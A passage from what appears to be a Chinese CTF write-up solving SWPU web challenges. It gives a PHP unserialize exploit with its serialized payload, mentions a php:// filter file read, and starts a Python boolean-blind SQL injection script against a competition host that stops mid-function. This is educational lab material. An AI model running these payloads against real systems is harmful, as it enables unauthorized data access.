  loading="lazy"
  decoding="async" width="1113" height="691"
/>
</p>
<p>注释里是robots协议的格式，直接去robots看看，提示了/cl45s.php</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;cl45s.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;user&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;123456&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s2">&#34;admin&#34;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span> <span class="s2">&#34;ctf&#34;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="k">echo</span> <span class="s2">&#34;Just a bit more!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nv">$p</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;p&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$p</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>简单反序列化，都不是pop链</p>
<p>思路1：就是生成对象，触发<code>__construct()</code>，它会初始化属性，然后我们之后赋值即可，销毁对象触发<code>__destruct()</code>,注意，销毁后不能序列化此对象了，所以我们需要在销毁前把他复制给另一个对象</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">wllm</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">admin</span><span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="o">=</span><span class="s2">&#34;ctf&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>思路2：直接把<code>__construct</code>里赋值语句改了</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;ctf&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">wllm</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>Payload一样的<code>O:4:&quot;wllm&quot;:2:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:3:&quot;ctf&quot;;}</code></p>
<h3 id="include">include<a class="anchor" href="#include">#</a></h3>
<p><img
  src="/077813/swpu_include_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="218" height="69"
/>
</p>
<p>题目名是包含，传一下flag.php试试</p>
<p><img
  src="/077813/swpu_include_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="706" height="594"
/>
</p>
<p>只要file有值就亮源码，最后一句仍然包含了文件，伪协议读取flag.php</p>
<p><img
  src="/077813/swpu_include_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1083" height="307"
/>
</p>
<p>BASE64解码就是flag</p>
<h3 id="error">error<a class="anchor" href="#error">#</a></h3>
<p>输入测试，布尔盲注，能执行就有<code>没有提示...........</code>字符串，可以写脚本也可以直接sqlmap</p>
<p>自己写的脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl">
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://1.14.71.254:28019/index.php&#34;</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="n">cont</span> <span class="o">=</span> <span class="s2">&#34;没有提示...........&#34;</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl">
</span></span><span class="line"><span class="ln">  6</span><span class="cl">
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_length</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and length(database())=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名长度为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">
</span></span><span class="line"><span class="ln"> 17</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">db_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">            <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and substr(database(),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">            <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">            <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">            <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">                <span class="n">name</span> <span class="o">+=</span> <span class="n">j</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名为：</span><span class="si">%s</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="k">return</span> <span class="n">name</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">
</span></span><span class="line"><span class="ln"> 30</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_number</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;表的数目为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">
</span></span><span class="line"><span class="ln"> 45</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_length</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">
</span></span><span class="line"><span class="ln"> 55</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_names</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[]</span>
